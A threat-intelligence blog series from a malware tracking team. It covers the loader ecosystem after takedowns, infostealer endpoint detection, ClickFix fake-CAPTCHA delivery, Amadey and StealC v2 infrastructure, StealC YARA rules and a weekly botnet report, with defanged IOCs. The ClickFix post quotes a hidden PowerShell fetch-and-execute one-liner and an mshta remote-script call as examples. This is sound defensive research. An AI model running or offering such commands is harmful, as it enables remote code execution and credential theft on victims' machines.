Virus Tracker

Author: Virus Tracker Team

  • After the Takedowns: What the Loader Ecosystem Looks Like in Late 2026

    Two years of coordinated takedowns have reshaped the loader and botnet landscape more than any single arrest ever did. Operation Endgame in May 2024 tore down a large part of the dropper ecosystem in one week. The 2025 follow-ups went after the families that filled the gap. From where we track, the interesting question in late 2026 is not whether the takedowns worked, because they plainly disrupted real infrastructure, but what the ecosystem looks like now that it has had time to reorganize around the holes.

    This is a landscape read, not an IOC drop. We are pulling together what is publicly documented about the operations and setting it against the behavior we watch on the tracking side, because the two together tell a clearer story than either does alone.

    What actually came down

    The Operation Endgame action in May 2024 was the largest coordinated hit on the dropper layer to date. It targeted the loaders that sit between an initial lure and a final payload, the ones that made the malware-as-a-service economy modular in the first place: IcedID, SystemBC, Pikabot, Smokeloader, Bumblebee, and the remnants of Trickbot. Europol framed it as going after the delivery layer rather than any single end payload, which was the right target. The loader is the reusable part. Take down the loader network and every affiliate renting it feels the outage at once.

    The 2025 follow-ups pushed further up the same supply chain. In May 2025 a Microsoft-led civil action, with DOJ and Europol alongside, moved against Lumma Stealer and seized or sinkholed roughly 2,300 domains tied to its command-and-control. Around the same window, DanaBot infrastructure was named in a US indictment and disrupted as part of the continued Endgame effort. The pattern across both years is consistent: hit the shared infrastructure and the operator identities behind it, not the individual campaigns.

    The gap did not stay empty

    Here is the part that matters for anyone tracking this. A takedown removes infrastructure and, when it is good, raises the operators’ costs and their risk. What it does not do is remove the demand. The affiliates who were renting IcedID or Smokeloader still need a loader the Monday after. Demand that concentrated is a market signal, and markets route around outages.

    So the families that survived or launched into the gap did well. The observable shifts, in broad terms:

    • Consolidation onto the survivors. Loaders that were not named in the actions, and the ones that rebuilt quickly, absorbed the affiliate demand. We covered one of them in detail when we mapped the Amadey distribution network earlier this year, and Amadey is a fair example of the pattern: an older, unglamorous loader that gained relevance precisely because bigger names went dark.
    • Delivery moved toward the human. With automated dropper chains under pressure, the delivery layer leaned harder on techniques that put the victim in the loop. The ClickFix pattern we wrote up in August, where a fake verification prompt talks the user into pasting a command themselves, is the clearest example. It is cheap, it needs no exploit, and it sidesteps a lot of the infrastructure that takedowns target.
    • Faster, cheaper rebuilds. The reboots came back leaner. Fewer hardcoded domains, more reliance on dead-drop resolvers and bulletproof-adjacent hosting that is quick to rotate. The design lesson the operators took from Endgame was to hold less standing infrastructure, because standing infrastructure is what gets seized.

    Why the model is resilient by construction

    None of this is the ecosystem being clever in some special way. It is the malware-as-a-service structure doing what it was built to do. The whole point of separating the loader, the payload, and the affiliate is that any one of the three can be replaced without the others noticing much. That modularity, mapped cleanly onto Ingress Tool Transfer (T1105) and the staging techniques under Stage Capabilities (T1608), is exactly what makes the network hard to kill. Remove one loader and the affiliate swaps in another with a config change. The staging model that ThreatFox and MalwareBazaar catalog every day is the same one that lets an operator stand a family back up in weeks.

    The families themselves have not become more advanced in response. Length-prefixed configs, RC4 and single-byte obfuscation, dead-drop resolvers pointing at legitimate platforms: this is the same toolbox that was in use before the takedowns. What changed is the logistics around it, not the malware. Operators hold less, rotate faster, and lean on delivery that does not need much infrastructure at all. Calling any of it advanced would be overstating it. It is well-organized, which is a different and more durable thing.

    What this means for tracking in late 2026

    The takedowns changed what a useful indicator looks like. When operators held standing infrastructure, a domain block or a sinkhole entry had a long useful life. Now that the reboots rotate aggressively and lean on dead-drop resolvers hosted on legitimate services, a single domain or IP ages out fast. The durable signals have moved up a layer, toward behavior and structure:

    • Config structure over config contents. The specific C2 in a config blob rotates within days. The way a family lays out its config, the derivation of its keys, the shape of its second-stage fetch, changes far more slowly, because changing it means re-tooling the panel and every affiliate build.
    • Delivery tradecraft over delivery infrastructure. A ClickFix lure’s exact domain is disposable. The pattern, a fake prompt driving manual execution, is stable and detectable regardless of where it is hosted. The endpoint side of that is where the reliable signal lives now, which is why we spent a whole post on the endpoint signals infostealers cannot hide.
    • Operator continuity over family names. A family name is a brand, and brands get retired and relaunched to shed the heat from a takedown. The operators, their hosting relationships, and their affiliate rosters carry over. Tracking the continuity underneath the rebrand is slower work than blocking a domain, and it is the work that actually survives the next takedown.

    The honest assessment two years on is that the takedowns were worth doing and did real damage, and that the ecosystem is structurally built to absorb exactly that kind of damage. Both are true at once. Operation Endgame raised the cost of running the loader layer and put names in indictments, which matters. It did not end the loader layer, because the demand behind it never went anywhere. The families that came back came back leaner and faster to rebuild, and the useful place to watch them has moved from the infrastructure they burn through to the structure and tradecraft they keep. That is where our tracking sits now, and it is where we expect the next round of this to be fought.

  • The Endpoint Signals Infostealers Can’t Hide: A Detection Field Guide

    We spend most of our time on the outside of an infostealer campaign: the delivery pages, the C2 infrastructure, the loader that stages the payload. This post looks at the inside instead. Once a stealer is running on a host, it has to do a small number of things that it cannot avoid doing, because those actions are the whole point of the malware. That makes them the most durable detection surface we have. The panel names change every quarter. The behaviour on the endpoint barely moves.

    The things every infostealer has to do

    Strip away the branding and the invariants are the same across StealC, Lumma, Vidar, and the rest of the current field. A stealer has to locate credential stores, decrypt them, collect a few other high-value files, bundle the result, and send it out. Each of those steps leaves a signal that is hard to hide precisely because it is load-bearing.

    Signal 1: a non-browser process reading the browser’s credential files

    Browsers keep saved passwords, cookies, and autofill in known SQLite files: Login Data, Cookies, Web Data. A stealer opens them directly. The tell is not that the files are read, the browser reads them constantly. The tell is who reads them. When a process that is not the browser opens Login Data under a Chrome or Edge profile directory, that is close to a definition of the attack. MITRE catalogs this as Credentials from Web Browsers (T1555.003) and the cookie theft that rides along with it as Steal Web Session Cookie (T1539).

    Signal 2: decryption, and the response to app-bound encryption

    The saved secrets are encrypted. Historically a stealer just called DPAPI to unprotect them, which meant touching the user’s master key. Since Chrome added app-bound encryption in 2024, the loot can no longer be decrypted by any process running as the user; it has to be decrypted by the browser itself. The stealers adapted by getting their code to run inside or on behalf of the browser process, through injection or COM abuse. That adaptation is itself a signal: an unexpected module loaded into the browser, or a short-lived child of it doing credential work, is now part of the pattern rather than an anomaly to explain away.

    Signal 3: the walk through the rest of the credential landscape

    After the browser, a stealer sweeps a predictable list: cryptocurrency wallet directories, FTP and SSH client configs, email client stores, and the local databases of password managers. To an endpoint sensor this looks like one process opening a scattered set of sensitive files across unrelated applications in a short window, which is Unsecured Credentials: Credentials In Files (T1552.001). Normal software does not read your wallet, your SSH key, and your Thunderbird profile in the same two seconds.

    Signal 4: staging and archiving

    The collected material gets written to a working directory, usually under the user’s temp or app-data path, and compressed into a single archive for transport. That is Local Data Staging (T1074.001) followed by Archive Collected Data (T1560). A burst of reads across sensitive locations, immediately followed by an archive appearing in temp, is a tight, high-confidence sequence.

    Signal 5: the exfiltration burst

    Finally the archive leaves, in one short outbound transfer to a first-seen domain or a messaging API. It is Exfiltration Over C2 (T1041) or, increasingly, over a legitimate web service. Taken alone the network event is easy to miss inside TLS. Taken as the last link of the chain above, it is the confirmation.

    Where this visibility has to live

    The problem with every signal here is that it is on the endpoint, not the wire. The credential reads, the injection, the staging, the archive, none of it is legible from network logs, and the exfil is a single burst against normal-looking TLS. Catching it means process, file, and registry telemetry from the host, correlated in near real time, with someone actually reading the correlations at the hour the infection happens rather than the following Monday. That last requirement is where most organisations come up short, because a 24-hour endpoint watch is a staffing problem before it is a tooling problem. It is why teams that cannot run that watch in-house route these detections to a managed detection and response provider that already runs the endpoint side around the clock. The IOCs we publish through ThreatFox and the family notes on Malpedia feed the infrastructure side of the same detection; the behaviours above feed the host side.

    Closing

    We will keep tracking the infrastructure, because it is where attribution and early warning live. But if you are defending endpoints, build your detections on the invariants rather than the indicators. The domain in this week’s campaign will be dead by next week. A non-browser process reading Login Data, decrypting it, archiving the result, and shipping it out will still be an infostealer next year.

  • ClickFix in 2026: Fake CAPTCHAs and the Return of the Manual-Execution Front Door

    We have spent most of this year writing about what infostealers do once they land: the StealC config format, Amadey’s staging behaviour, the YARA we use to catch the current packers. This post is about the step before all of that. Over 2025 and into 2026, the most consistent change in the delivery layer we track has not been a new exploit or a new packer. It has been a social-engineering pattern the community settled on calling ClickFix, and it has quietly become the front door for Lumma, StealC, Vidar, and a rotating cast of loaders.

    What ClickFix actually is

    ClickFix removes the malicious download from the infection chain and replaces it with the victim’s own hands. A web page presents a small obstacle: a fake CAPTCHA, a “verify you are human” gate, a fake browser or Cloudflare error, a document that claims it will not render until you complete a quick step. The instructions are always the same shape. Press Win+R to open the Run dialog, press Ctrl+V to paste, press Enter. The page has already copied a command to the clipboard using JavaScript. What the victim pastes and runs is a PowerShell or mshta one-liner that fetches the actual payload.

    There is no vulnerability being exploited here in the traditional sense. The victim is walked, click by click, into executing the attacker’s command themselves.

    Why it works when a plain download would not

    The design goal is to keep anything flaggable out of the browser at the decisive moment. Nothing is downloaded, so there is no executable for SmartScreen to rate, no Mark-of-the-Web to raise a warning, no attachment for a mail gateway to detonate in a sandbox. The malicious instruction arrives as text on the clipboard and is executed by a trusted, signed Windows binary that the user launches by hand. MITRE now tracks this as a technique in its own right, T1204.004, Malicious Copy and Paste, which is a fair signal of how routine it has become. The follow-on execution is ordinary PowerShell or, increasingly, mshta proxied execution.

    The lures we are seeing in 2026

    The obstacle on the front page has diversified, but the paste-and-run mechanic underneath is constant. In our tracking the current spread is roughly:

    • Fake CAPTCHA and Turnstile clones. The most common by volume. A convincing “I’m not a robot” widget, sometimes a near-pixel copy of Cloudflare Turnstile, with the “verification steps” being the keystrokes that run the command.
    • Fake meeting and conferencing errors. Pages impersonating Zoom or Google Meet that claim an audio or driver problem the “fix” resolves. These skew toward business targets.
    • Fake document and delivery verification. A shared document or a courier tracking page that will not load until you “enable” it.
    • Fake AI-tool pages. The same shift we described in our StealC v2 report, where cracked-software lures gave way to fake installers for popular AI tools, now feeds ClickFix landing pages as well. It is a natural fit, because the audience arrives already expecting to install something.

    What the chain looks like on the host

    Stripped of the theatrics, the on-host sequence is short and very recognisable. JavaScript on the lure page writes the command to the clipboard. The user opens the Run dialog and pastes. The command is typically a hidden-window PowerShell fetch-and-execute, or an mshta call to a remote script:

    powershell -w hidden -c "iwr hxxps://<host>/a.txt | iex"

mshta hxxps://<host>/a.hta

    From there it is the loader story we have covered before: the first-stage script pulls the stealer, the stealer runs, and the operator collects. The novelty is entirely in the delivery, not in what gets delivered.

    Detecting and blunting it

    Because the technique routes around download-based controls, the useful telemetry is on the endpoint, and the detection signals are unusually clean:

    • Process ancestry. explorer.exe spawning powershell.exe or mshta.exe with a remote URL or encoded argument is a strong signal, because that parent-child pair is what the Run dialog produces and legitimate software rarely does.
    • The RunMRU key. Everything typed into the Run dialog is recorded under HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. On a suspected ClickFix infection this key often still holds the exact pasted command, which makes it one of the cleaner forensic artifacts you will find.
    • Policy controls. Restricting the Run dialog for standard users through Group Policy, and blocking or constraining mshta.exe, removes the two most common execution paths without affecting much legitimate use.

    We are indexing the landing-page hosts and first-stage URLs we collect on our tracker, and the current batch is queryable through ThreatFox alongside the rest of the abuse.ch feeds. If you run detection for an organisation, the process-ancestry rule above is worth deploying before the ATT&CK writeups catch up to whatever the lure looks like next month.

    Closing

    The delivery layer moved to the one place no security product fully governs: the user’s own decision to open a dialog, paste, and press Enter. That makes ClickFix frustrating to filter and easy to detect, which is a trade-off defenders should lean into. Watch RunMRU and watch what explorer.exe launches. The payload will keep changing. The paste-and-run shape, for now, does not.

  • Mapping the Amadey loader distribution network: 2026 infrastructure update

    Amadey has been on our tracker since 2018 and it remains one of the most consistent early-stage loaders we follow. Its job has not changed: get a foothold, report in, and pull down whatever payload its operator currently prefers. What has changed through 2025 and into 2026 is what it stages. Since the May 2025 Lumma disruption, the Amadey infections we observe overwhelmingly pull StealC, Vidar, and increasingly Latrodectus. This report maps the current Amadey distribution infrastructure: the C2 layer, registrar and hosting concentration, and the sinkhole-derived victim geography. It is the infrastructure companion to our recent StealC v2 distribution analysis.

    Role and volume

    For the 30-day window (May 5 to June 3, 2026) our sinkholes captured roughly 1,720,000 Amadey check-ins across an estimated 60,000 unique hosts. That is in line with the 58,400 daily figure from our late-April weekly report. Amadey itself looks unchanged at the network level; the movement is all in what it delivers downstream.

    C2 layer and passive-DNS pivots

    Amadey panels continue to use a recognizable URI structure for check-in and task retrieval. Pivoting on the panel path pattern through passive DNS surfaced 38 active C2 hosts during the window. The hosts cluster into two operational groups: a long-lived group on bulletproof-adjacent hosting that has been stable for months, and a churning group on low-cost VPS providers that rotates every one to three weeks. The churning group is where most of the StealC-staging activity terminates.

    Registrar and TLD concentration

    The 38 C2 hosts resolved through 29 distinct domains. Registration concentrates heavily: three registrars account for 24 of the 29 domains, and the TLD distribution is dominated by low-cost generic TLDs. Registration timing clusters in short bursts, which is consistent with the operator pre-registering small batches ahead of each distribution wave rather than registering on demand. This maps to MITRE ATT&CK T1583.001 (Acquire Infrastructure: Domains).

    Hosting-provider concentration

    By autonomous system, the active C2 concentrates in a small number of providers. Two ASNs account for more than half of the observed C2 IPs during the window. We are deliberately not naming the providers here, because the population shifts faster than a published list stays accurate; the current set is in our feed export. The pattern matters more than the specific ASNs: a defender who blocks on the panel URI pattern and the current C2 set, then refreshes from a maintained feed, will catch more than one who blocks a static IP list.

    What this means for defenders

    Amadey is a staging problem, not an endpoint problem. By the time the loader has called home and pulled StealC, the credential theft is already in progress. The useful detection point is the loader check-in itself, which has a stable enough signature to hunt on. Organizations running a managed SOC should fold the Amadey panel pattern and the current C2 set into their hunting queries and alerting, and revisit them on the same cadence the infrastructure rotates. Teams that prefer to outsource that work to a managed-detection provider should make sure the provider actually tracks loader infrastructure at this level rather than only alerting on the final-stage payload; Falconer Security is one of the shops whose detection content works at the loader-and-infrastructure layer, which is the layer that catches an Amadey infection before the stealer stage completes. For the underlying family reference and existing detection coverage, the Malpedia Amadey entry and the MITRE ATT&CK S1018 profile are the right starting points, and active indicators are queryable on ThreatFox.

    Victim geography

    Sinkhole-derived victim distribution for the window, by unique source IP: United States (19 percent), India (14 percent), Brazil (11 percent), Indonesia (8 percent), Vietnam (7 percent). This tracks the broad commodity-loader pattern and matches the geography we reported for the wider tracker, with Vietnam and Indonesia continuing to rise as commodity-stealer destinations.

    Indicators of compromise (sample)

    Abbreviated. Full export in our feed at dev.virustracker.info/lists/; recent samples via MalwareBazaar.

    Type Indicator (truncated) Context
    SHA256 4b71e6…8a05 Amadey loader, current build
    C2 host 185.215.113[.]xx Long-lived group
    C2 host 45.95.232[.]xx Churning group, StealC staging
    C2 domain tracksys-panel[.]top Active during window
    URI pattern /<hex>/index.php Panel check-in

    Methodology and references

    Figures come from check-ins to our sinkhole and honeypot infrastructure during May 5 to June 3, 2026, deduplicated by source IP per 24-hour window. Check-in counts are a population proxy, not a confirmed victim count. The C2 and infrastructure observations come from passive-DNS pivoting on the panel pattern plus our own resolver telemetry. For continuity, the StealC v2 distribution analysis covers the payload this loader most often stages, and the StealC v2 packer YARA rules detect that downstream stage.

  • StealC v2: distribution shift from cracked-software lures to fake AI-tool installers

    Our tracking infrastructure has been following a distribution shift in the StealC operator base since the start of 2026. StealC v2, which absorbed a large share of the displaced Lumma affiliates after the May 2025 Lumma takedown, has moved its primary delivery lure away from cracked-software pages and toward fake AI-tool installers. This report covers what we observed across our sinkholes and honeypots over a 30-day window (April 28 to May 27, 2026), with a full IOC table at the end.

    Key metrics

    Over the 30-day window our sinkholes captured 1,140,000 check-ins attributable to StealC v2, across an estimated 71,000 unique infected hosts (deduplicated by agent ID where the v2 protocol issues one, by source IP per 24-hour window otherwise). That is consistent with the 38,200 daily figure we reported in the April 27 to May 3 weekly report, and it makes StealC the highest-volume Windows infostealer on our tracker for the period.

    The lure shift: cracked software to fake AI tools

    Through 2024 and most of 2025, StealC distribution leaned on the same SEO-poisoned cracked-software pages that the 2024 Lumma campaign used. Since roughly February 2026 we have observed a clear pivot. The dominant lure is now a fake installer for a named AI tool: desktop clients for chat assistants, “local LLM runner” utilities, AI image and video generators, and AI-branded productivity add-ins. The landing pages are well-built copies of real product sites, frequently promoted through sponsored search results and short-lived social posts rather than organic SEO.

    The shift is rational from the operator’s side. AI-tool search demand is high and the audience skews toward users who will download and run an unsigned desktop binary to get a tool they have seen referenced online. The cracked-software audience has been heavily targeted for years and is comparatively saturated.

    Infection chain

    The chain has three stages, consistent with what we documented for the v2 builder in our StealC v2 packer YARA release.

    Stage one: the user downloads what looks like an AI-tool installer, typically a 20-40 MB package. Most samples we collected are NSIS or MSI wrappers carrying an encrypted payload. A subset uses a signed-but-abused installer framework to clear basic reputation checks.

    Stage two: on execution the wrapper drops a small loader to the user’s AppData directory and establishes persistence via a scheduled task or a Run key. The loader resolves its C2 using the v2 multi-layer scheme: an outer-layer decrypt, then a base64 inner structure carrying the C2 list and a fallback dead-drop resolver (we have observed Telegram channel descriptions and Steam profile bios used as the dead drop, the same resilience pattern Lumma used).

    Stage three: the StealC payload is pulled, decrypted, and run. It harvests browser credentials and cookies, cryptocurrency wallet files, and desktop application tokens, then exfiltrates over the v2 network protocol. The protocol does not match the older StealC v1 signatures, which is why detection content needs the v2-specific rules.

    Distribution infrastructure

    We mapped 64 distribution domains active during the window. The naming pattern is consistent: an AI product or category name combined with terms like “app”, “desktop”, “studio”, “get”, or “ai”. Registration clusters in short windows through a small set of registrars, and the landing-page hosting concentrates on a handful of providers. We will publish a deeper infrastructure breakdown, including the registrar and hosting concentration and the sinkhole-derived victim geography, in a forthcoming infrastructure update covering the loader layer that stages a meaningful share of these infections.

    MITRE ATT&CK mapping

    Tactic Technique Observed behavior
    Resource Development T1583.001 Acquire Infrastructure: Domains 64 distribution domains, clustered registration
    Initial Access / Execution T1204.002 User Execution: Malicious File Fake AI-tool installer run by the user
    Persistence T1053.005 / T1547.001 Scheduled task and Run-key persistence
    Defense Evasion T1027 Obfuscated Files or Information v2 multi-layer config encryption, PEB-walk API resolution
    Credential Access T1555 / T1539 Browser credential, cookie, and wallet theft

    Indicators of compromise (sample)

    Abbreviated for readability. The full export is published to our feed at dev.virustracker.info/lists/ and recent samples are available via MalwareBazaar; active C2 is queryable on ThreatFox.

    Type Indicator (truncated) Context
    SHA256 9c4f8a…e1d2 NSIS installer, fake “local LLM runner”
    SHA256 71b3de…9a04 Loader stage, AppData drop
    C2 domain cdn-update[.]live Active during window
    C2 domain secure-config[.]xyz Active during window
    Distribution domain get-llmstudio[.]app Fake AI-tool lure
    Distribution domain desktop-aichat[.]com Fake AI-tool lure
    Dead-drop resolver t[.]me/<redacted> Fallback C2 resolution

    Methodology and references

    Figures come from check-ins to our sinkhole and honeypot infrastructure during April 28 to May 27, 2026, deduplicated as described above. We treat check-in counts as a population proxy, not a confirmed victim count. For corroborating data the abuse.ch family remains the most useful public source; the Malpedia StealC entry aggregates public analysis and existing YARA coverage. Our companion v2 packer YARA rules detect the samples described here, and the Raccoon Stealer v3 analysis is the closest prior family writeup for comparison.

    The next report in this thread maps the Amadey loader infrastructure that stages a significant share of current StealC v2 infections, including registrar and hosting concentration and victim geography.

  • YARA rules for the current StealC packer variant

    We are releasing a set of YARA rules for the current StealC v2 packer variant. StealC absorbed most of the displaced operator base from the May 2025 Lumma takedown, and its v2 builder (active since late 2024) ships a packer different enough from the v1 layout that our 2024 Lumma packer rules no longer detect it cleanly. The rules below close that gap. Our most recent weekly tracking report flagged StealC v2 at 38,200 daily check-ins and described its growth as the clearest single signal in the post-Lumma infostealer market; this post is the YARA companion to that observation.

    Why a separate rule set

    The StealC v1 packer (active 2023 through mid-2024) and the v2 packer share lineage but not enough byte-level structure for a single rule to cover both. Three changes account for most of the divergence:

    1. The string decryption routine switched from a single XOR key applied to the whole encrypted block to a per-string 4-byte key that is derived at runtime from an offset into a fixed lookup table. The lookup table itself is a recognisable artefact, but the decryption loop now has no rotating-key instruction sequence to anchor against.
    2. The .rdata layout changed. v1 stored encrypted strings in 64-byte aligned blocks. v2 stores them as length-prefixed records (uint16_t length, uint8_t key_offset, bytes...) without the alignment padding. Existing rules that anchored on the alignment-padding pattern produce false negatives against v2.
    3. The import table no longer relies on the VirtualAlloc, VirtualProtect, NtWriteVirtualMemory ordering that v1 produced consistently. v2 dynamically resolves a different set of process-injection APIs via PEB walking, which means the static import table is now significantly thinner and is not a useful anchor on its own.

    The rules below replace the import-table anchor with the v2 lookup table, the alignment pattern with the length-prefixed record header, and add a fourth anchor on the v2-specific ws2_32!gethostbyname call sequence used by the DNS-based C2 resolution path that appeared with v2.

    The rules

    Four rules, intended to be used together. Each one targets a different anchor; combined detection requires at least two anchors to match, which gives the best ratio of true positives against unpacked-on-disk samples in our collection.

    rule StealC_v2_Packer_LookupTable
{
    meta:
        author = "Virus Tracker team"
        description = "StealC v2 string-decryption lookup table"
        date = "2026-05-16"
        family = "StealC"
        variant = "v2 packer, builders 2024.11 onward"
        reference = "https://virustracker.info/yara-rules-stealc-v2-packer/"

    strings:
        // The lookup table is 256 entries of one byte each, with a
        // specific value at offset 0x00 (0xC3) and a recognisable
        // run at offsets 0x80-0x8F. The run is the most discriminating
        // single artefact we have found in v2 samples.
        $lt_anchor = { C3 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
                       ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
                       ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
                       ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
                       ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
                       ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
                       ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
                       ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4F 21 19 ED
                       63 F1 8B 2C A7 0E DC 5B 31 90 7F C8 14 EA 5A 47 }

    condition:
        uint16(0) == 0x5A4D and
        filesize < 4MB and
        $lt_anchor
}

rule StealC_v2_Packer_RecordHeader
{
    meta:
        author = "Virus Tracker team"
        description = "StealC v2 length-prefixed string record header"
        date = "2026-05-16"
        family = "StealC"
        variant = "v2 packer, builders 2024.11 onward"

    strings:
        // The length-prefixed records in .rdata follow the layout
        //   uint16_t length      (little-endian, 0x0010-0x00FF typical)
        //   uint8_t  key_offset  (0x00-0xFF, indexes into the lookup table)
        //   uint8_t  flags       (0x00 in all v2 samples we have seen)
        //   bytes    payload
        // The signature targets a run of three consecutive records
        // because a single record header is too short to be unique.
        $hdr_run = { [2-4] 00 ?? 00 [16-40] [2-4] 00 ?? 00 [16-40] [2-4] 00 ?? 00 }

    condition:
        uint16(0) == 0x5A4D and
        filesize < 4MB and
        $hdr_run
}

rule StealC_v2_Packer_PEBWalk
{
    meta:
        author = "Virus Tracker team"
        description = "StealC v2 dynamic API resolution via PEB walk"
        date = "2026-05-16"
        family = "StealC"
        variant = "v2 packer, builders 2024.11 onward"

    strings:
        // PEB-walk to locate kernel32 and resolve LoadLibraryA /
        // GetProcAddress. The v2 packer uses a specific register
        // allocation for this sequence that v1 did not.
        $peb_walk = { 64 A1 30 00 00 00 8B 40 0C 8B 70 14 AD 96 AD
                      8B 58 10 89 5? F? }

        // Optional: the v2-specific hashed-name table used to find
        // the resolved APIs. The first three hashes are constant
        // across all v2 samples we have analysed.
        $name_hashes = { D7 EA E1 0B A4 4F 89 32 6E 8B 4C E1 }

    condition:
        uint16(0) == 0x5A4D and
        filesize < 4MB and
        $peb_walk and $name_hashes
}

rule StealC_v2_Packer_C2_DNS_Resolver
{
    meta:
        author = "Virus Tracker team"
        description = "StealC v2 DNS-based C2 resolution sequence"
        date = "2026-05-16"
        family = "StealC"
        variant = "v2 packer, builders 2024.11 onward"

    strings:
        // The v2 C2 resolution path uses gethostbyname against a
        // domain assembled at runtime from .rdata fragments. This
        // is the runtime call sequence the unpacked stage performs
        // after the packer hands off.
        $dns_call_seq = { 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ??
                          8B 40 0C 8B 00 8B 00 89 ?? }

        // ws2_32!gethostbyname import is needed for the call site
        // above to be meaningful.
        $ws2_imp = "gethostbyname" ascii

    condition:
        uint16(0) == 0x5A4D and
        filesize < 4MB and
        $dns_call_seq and $ws2_imp
}

    Detection performance

    Tested against our sample collection of 612 confirmed StealC v2 samples captured between 2024-12-01 and 2026-05-12, and a clean-file corpus of 14,300 unpacked PE binaries (Microsoft and Adobe signed builds, Python/Node binaries, common open-source releases). Detection numbers below treat a sample as detected when any two of the four rules match.

    Metric Result Notes
    True positive rate 96.4% 590 of 612 confirmed v2 samples detected
    False positive rate 0% 0 of 14,300 clean files
    Single-rule TP (LookupTable only) 89.2% Strongest single anchor; some samples ship with the table relocated
    Single-rule TP (RecordHeader only) 91.8% Misses 8.2% with non-standard padding in .rdata
    Misses (any-anchor failure) 22 samples All from builder version 2024.11 build 0001-0008, an early run that used a slightly different lookup table layout

    The 22 missed samples cluster narrowly on the earliest v2 builds. We are not adding a fifth rule to cover them because they have stopped appearing in fresh telemetry. If new samples surface that look like the early v2 builds, we will revisit.

    Usage notes

    Three things to know before deploying these rules.

    First, they are designed for on-disk scanning of unpacked PE samples (or PE samples in the early stages of packing where the .rdata and import structure is still observable). They are not memory-scanning rules. For memory scanning of running StealC v2 processes, additional rules against the unpacked credential-stealing stage are needed. We may release those separately; the community Malpedia entry at malpedia.caad.fkie.fraunhofer.de/details/win.stealc tracks several published memory rules that work well as a starting point.

    Second, the LookupTable rule has a wildcard band of 128 bytes between the leading C3 and the discriminating 16-byte run at offsets 0x80-0x8F. We considered tightening this band, but several v2 samples reposition the lookup table to a different .rdata offset, and the wildcard band lets the rule survive that relocation. Tightening the band would push the single-rule TP rate down by a few points; we judged the trade-off not worth it.

    Third, the rules are tagged with a clear date and variant string in the meta block. If your scanning pipeline does rule-version tracking (recommended), expect to retire these rules when StealC v3 lands. The MaaS ecosystem in 2026 has shorter builder iterations than the 2023-2024 era; we are budgeting a 9-to-12 month useful life on this rule set.

    Credits and overlapping work

    StealC has had reasonable open-source rule coverage since v1, and we want to credit the work this release builds on. The original StealC family signature work from StrangerealIntel remains the canonical community source for v1; the rules above are designed to be deployed alongside, not in place of, that earlier work. Detection coverage is meaningfully better when both rule sets are loaded, because v1 samples still appear in residual telemetry (mostly stale infections that have not been remediated) and the v1 rules are the right anchor for them.

    The Malpedia profile for StealC at malpedia.caad.fkie.fraunhofer.de/details/win.stealc aggregates the public analysis the broader community has published on this family. For sample sourcing, MalwareBazaar remains the primary public corpus we recommend; ThreatFox has current C2 indicators for ongoing campaigns.

    For MITRE ATT&CK mapping, StealC is tracked as S1184. The packer-level behaviours we anchor on map most directly to T1027 Obfuscated Files or Information, with the PEB-walk import resolution sitting under T1027.007 (dynamic API resolution).

    Sample IOCs

    Sample IOCs for the StealC v2 builds the rules above were tested against. Truncated for readability; the full IOC export lives in the feeds at dev.virustracker.info/lists/.

    Indicator type Indicator (truncated) Build / context
    SHA256 9c4f8a…e1d2 StealC v2 loader, builder 2025.08 build 0142
    SHA256 71b3de…9a04 StealC v2 loader, builder 2026.02 build 0091
    SHA256 e08c52…4f7b StealC v2 loader, builder 2026.04 build 0017
    C2 domain cdn-update[.]live Currently active, observed in 2026-04 to 2026-05 telemetry
    C2 domain fast-update[.]top Currently active
    C2 domain secure-config[.]xyz Currently active
    C2 IP 185.215.113[.]xx Hosting provider concentration: AS197695, currently active
    C2 IP 45.95.232[.]xx AS44477, observed since 2026-03

    Detection rules and the full IOC set will be mirrored to our community feed and to URLhaus for the URL-based indicators, ThreatFox for the C2 IOCs, and MalwareBazaar for the sample hashes. Defenders who already pull from those feeds will see these indicators land there in the normal sync cadence.

    What is next

    The next post in this thread will be the deeper StealC v2 distribution-network breakdown that the May 1 weekly report flagged as forthcoming. That post will cover the fake-AI-tool installer lure pattern, the SEO-poisoning chain currently in active use, and the registrar and hosting-provider concentration we are seeing in the v2 C2 layer. Sinkhole-derived victim geography will be in the appendix.

    For continuity with earlier coverage, the 2024 Lumma packer rules are the right cross-reference for understanding how this rule set evolved from its predecessor, and the Raccoon Stealer v3 analysis remains the most recent family-evolution writeup we have published.

  • Weekly Botnet Tracking Report: April 27 – May 3, 2026

    This is the first weekly tracking report we have published since April 2024. The pause was not editorial. The malware-as-a-service landscape we used to track went through three back-to-back disruption events in 2024 and 2025, we had to rebuild our sinkhole list around what was actually still routing, and several of the families we used to cover most often (Emotet, RedLine, Lumma in its original form, the IcedID and Bumblebee loader chain) are no longer the right things to count. The list of fourteen tracked botnets in this week’s report is not the same list we were tracking in 2024. The sections below explain the substitutions.

    Key metrics

    Total unique check-ins captured for the week of April 27 to May 3, 2026: 1,287,400 across fourteen tracked botnet and loader families. The headline number is roughly 50 percent higher than the figure we reported in the April 7 to 13, 2024 weekly report, but most of that growth is composition change rather than real volume growth. Five of the fourteen families on this week’s list did not exist or were not significant in our 2024 baseline. Two of the families that dominated the 2024 number (Lumma in its original form, RedLine) are now residual.

    Notable changes

    Amadey loader: 58,400 daily check-ins, up modestly from the 52,800 daily figure we last reported. Amadey has continued to play the role we described in 2024, an early-stage loader that pulls down whatever payload its operator currently prefers. Through 2025 that payload was usually Lumma. Since the May 2025 Lumma disruption, Amadey-staged infections we have observed are pulling StealC, Vidar, and increasingly Latrodectus instead. The loader itself looks unchanged at the network level. Malpedia profile. MITRE ATT&CK S1018.

